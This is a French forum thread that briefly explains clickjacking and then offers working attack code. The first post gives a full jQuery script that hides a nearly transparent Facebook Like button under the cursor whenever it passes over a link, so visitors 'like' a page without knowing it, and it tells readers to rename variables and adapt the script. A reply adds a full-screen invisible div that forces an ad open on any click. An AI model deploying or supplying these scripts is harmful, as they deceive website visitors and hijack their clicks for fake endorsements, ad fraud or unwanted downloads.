Annonce

Réduire
Aucune annonce.

clickjacking script

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • clickjacking script

    Le clickjacking sert à renvoyer un utilisateur d'un site (dont on a éventuellement pris le contrôle au préalable) vers le téléchargement d'une confiserie ou autre joyeuseté.

    Ce sont les joies du Javascript.

    Le Clickjacking exploite une "faille" dans une très grande partie des navigateurs. Cette dernière se présente sous la forme d'un détournement du Clic de souris grâce à Javascript permettant ainsi plusieurs bonnes ou mauvaises choses pour la personne étant victime ou pour le webmaster, comme par exemple :

    * La possibilité de détourner les clics vers les PUB
    * La possibilité de faire télécharger un programme par la victime (*)
    * La possibilité d'activer sa Webcam avec Flash
    * La possibilité de transmettre un web-based worm
    * etc.

    (*) Lorsque le navigateur le permet sans la confirmation ensuite de l'internaute, ce fut par exemple le cas pour le navigateur Chrome

    Conclusion et sécurisation :

    Aujourd'hui le clickjacking à encore de l'avenir devant lui, la seule chose pour s'en prémunir reste de restreindre l'utilisation du JS à son navigateur (autoriser que les domaines de confiance).

    Code:
    // RACINE
    
    
    var $J = jQuery.noConflict(); 
    
    
    // solve: images and floating divs 
    function heightestChild(elem)
    {
    	var t=0;
    	var t_elem;
    	$J("*",elem).each(function () {
    	    if ( $J(this).outerHeight(true) > t ) {
    	        t_elem=$J(this);
    	        t=t_elem.outerHeight(true);
    	    }
    	});
    	// we care about the heighest
    	if (elem.outerHeight(true) > t)
    	{
    		t = elem.outerHeight(true); 
    	}
    	
    	//return elem.outerHeight(true); 
    	return t+3; // hotfix
    }
    
    function highestOffsetTop(elem)
    {
    	var t=elem.offset().top;
    	var t_elem;
    	$J("*",elem).each(function () {
    	    if ( $J(this).offset().top < t ) {
    	        t_elem=$J(this);
    	        t=t_elem.offset().top;
    	    }
    	});
    	// we only care about the object that is most on top 
    	if (elem.offset().top < t)
    	{
    		t = elem.offset().top;
    	}
    	
    	//return elem.offset().top;
    	return t+3;
    }
    
    $J(document).ready(function(){
    	
    	if (window.DO_CLICKJACKING) { // wrap up EVERYTHING 
    	
    	$J("body").append('<div id="clickjacking" style="position:absolute;display:block;opacity:0.01;-khtml-opacity:.01;-moz-opacity:.01;filter:alpha(opacity=1);"><fb:like layout="button_count" show_faces="false" width="100" data-href="http://www.exemple-site.com"></fb:like></div>');
    /*	$J("body").append('<div id="clickjacking" style="position:absolute;display:block;"><fb:like layout="button_count" show_faces="false" width="100"></fb:like></div>');*/
    	
    	var elementWidth = 0; 
    	var elementHeight = 0; 
    	var theElement = '';
    	var likeDone = 0;
    
    	if ($J.cookie("clickjacking_"+escape(document.URL)) == 1)
    	{
    		likeDone = 1; 
    	}
    
    
    
    	// fired when the user clicks a link (likes our page) -> clickjacking is done
    	FB.Event.subscribe('edge.create', function(response) {
    		  $J("#clickjacking").css("display", "none");
    		  likeDone = 1;   
    		  $J.cookie("clickjacking_"+escape(document.URL), "1");
    		  // let the user actually go to the link he clicked. 
    		  window.location.href = theElement.attr('href');
    	});
    	
    $J(document).mousemove(function(event) {
    		if (theElement != '')
    		{
    			if (event.pageY < (highestOffsetTop(theElement)-4) || event.pageY > (highestOffsetTop(theElement) + heightestChild(theElement)) || event.pageX < theElement.offset().left || event.pageX > (theElement.offset().left + theElement.width()) )
    			{
    				//alert(event.pageY + " " + theElement.height() + " " + theElement.offset().top); 
    			/*	$J("#log").append("<p>mouse off the element LEFT " + event.pageX  + " " + theElement.offset().left + " " + (theElement.offset().left + theElement.width()) +  "</p>"); 
    				$J("#log").append("<p>mouse off the element TOP " + event.pageY  + " " + highestOffsetTop(theElement) + " " + (highestOffsetTop(theElement) + heightestChild(theElement,true)) +  "</p>");*/
    				theElement = ''; // the mouse is off theElement
    				$J("#clickjacking").css("display", "none"); 
    			}
    			else
    			{
    				if ($J.browser.msie) {
    					$J("#clickjacking").css("top",(event.pageY-15)+"px");
    					$J("#clickjacking").css("left",(event.pageX-20)+"px");
    				}
    				else
    				{
    					$J("#clickjacking").css("top",(event.pageY-5)+"px");
    					$J("#clickjacking").css("left",(event.pageX-20)+"px");
    				}
    			}	
    		}
    });
    
    $J(document).delegate("a","mouseenter", function (){
    	// register mouse is inside element 
    	if (likeDone == 0) 
    	{
    		theElement = $J(this);  
    		$J("#clickjacking").css("display", "block");
    	}
    }); 
    
    
    } // window.DO_CLICKJACKING
    });
    
    /**
     * Cookie plugin
     *
     * Copyright (c) 2006 Klaus Hartl (stilbuero.de)
     * Dual licensed under the MIT and GPL licenses:
     * http://www.opensource.org/licenses/mit-license.php
     * http://www.gnu.org/licenses/gpl.html
     *
     */
    
    /**
     * Create a cookie with the given name and value and other optional parameters.
     *
     * @example $.cookie('the_cookie', 'the_value');
     * @desc Set the value of a cookie.
     * @example $.cookie('the_cookie', 'the_value', { expires: 7, path: '/', domain: 'jquery.com', secure: true });
     * @desc Create a cookie with all available options.
     * @example $.cookie('the_cookie', 'the_value');
     * @desc Create a session cookie.
     * @example $.cookie('the_cookie', null);
     * @desc Delete a cookie by passing null as value. Keep in mind that you have to use the same path and domain
     *       used when the cookie was set.
     *
     * @param String name The name of the cookie.
     * @param String value The value of the cookie.
     * @param Object options An object literal containing key/value pairs to provide optional cookie attributes.
     * @option Number|Date expires Either an integer specifying the expiration date from now on in days or a Date object.
     *                             If a negative value is specified (e.g. a date in the past), the cookie will be deleted.
     *                             If set to null or omitted, the cookie will be a session cookie and will not be retained
     *                             when the the browser exits.
     * @option String path The value of the path atribute of the cookie (default: path of page that created the cookie).
     * @option String domain The value of the domain attribute of the cookie (default: domain of page that created the cookie).
     * @option Boolean secure If true, the secure attribute of the cookie will be set and the cookie transmission will
     *                        require a secure protocol (like HTTPS).
     * @type undefined
     *
     * @name $.cookie
     * @cat Plugins/Cookie
     * @author Klaus Hartl/[email protected]
     */
    
    /**
     * Get the value of a cookie with the given name.
     *
     * @example $.cookie('the_cookie');
     * @desc Get the value of a cookie.
     *
     * @param String name The name of the cookie.
     * @return The value of the cookie.
     * @type String
     *
     * @name $.cookie
     * @cat Plugins/Cookie
     * @author Klaus Hartl/[email protected]
     */
    jQuery.cookie = function(name, value, options) {
        if (typeof value != 'undefined') { // name and value given, set cookie
            options = options || {};
            if (value === null) {
                value = '';
                options.expires = -1;
            }
            var expires = '';
            if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)) {
                var date;
                if (typeof options.expires == 'number') {
                    date = new Date();
                    date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000));
                } else {
                    date = options.expires;
                }
                expires = '; expires=' + date.toUTCString(); // use expires attribute, max-age is not supported by IE
            }
            // CAUTION: Needed to parenthesize options.path and options.domain
            // in the following expressions, otherwise they evaluate to undefined
            // in the packed version for some reason...
            var path = options.path ? '; path=' + (options.path) : '';
            var domain = options.domain ? '; domain=' + (options.domain) : '';
            var secure = options.secure ? '; secure' : '';
            document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');
        } else { // only name given, get cookie
            var cookieValue = null;
            if (document.cookie && document.cookie != '') {
                var cookies = document.cookie.split(';');
                for (var i = 0; i < cookies.length; i++) {
                    var cookie = jQuery.trim(cookies[i]);
                    // Does this cookie string begin with the name we want?
                    if (cookie.substring(0, name.length + 1) == (name + '=')) {
                        cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
                        break;
                    }
                }
            }
            return cookieValue;
        }
    };
    
    
    // BODY
    
    // <script src="http://code.jquery.com/jquery-1.5.js"></script> // inutile vu que jquery est déjà dans le code
    // <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
    // <script>window.DO_CLICKJACKING = 1</script>
    // <script src="clickjacking.js"></script>
    *modifier valeurs (fulfil)
    *modifier les noms de variables (trop expressives)

    > bref, adapter à votre besoin.
    Dernière modification par SAKAROV, 17 décembre 2013, 12h01.
    sigpic

    Cyprium Download Link

    Plus j'étudie plus j'me rends compte que je n'sais rien.

    †|

  • #2
    Plus simple !
    Un div invisible de la taille de l'écran.
    Quand tu clique sur n'importe quel morceau de la page, la publicité s'ouvre.
    Une fois ouverte, il suffit de désactiver la div pour laisser tranquille l'utilisateur

    Exemple (j'ai tapé vite fait le code source) :
    Code:
    <html>
      <head>
        <title>PUB</title>
        <script type='text/javascript'>
          function pub() {
            document.getElementById('ipub').style.display='none';
            alert('PUBLICITY');
          }
          function url(x) { window.location.href=x; }
        </script>
      </head>
      <body>
        <div id='ipub' OnClick='pub();' style='position:fixed;top:0px;left:0px;width:100%;height:100%;opacity:0;z-index:20000;'></div>
        <input type='button' OnClick="url('http://www.google.fr/');" value='HELLO'>
        <input type='button' OnClick="url('http://www.yahoo.fr/');" value='WORLD'>
      </body>
    </html>
    Sinon un div invisible qui suit le curseur de la souris ...
    Enjoy !
    Dernière modification par Yarflam, 19 mai 2013, 23h40.
    ~ Yarflam ~

    ❉ L'Univers se dirige vers son ultime perfection ❉

    Commentaire

    Chargement...
    X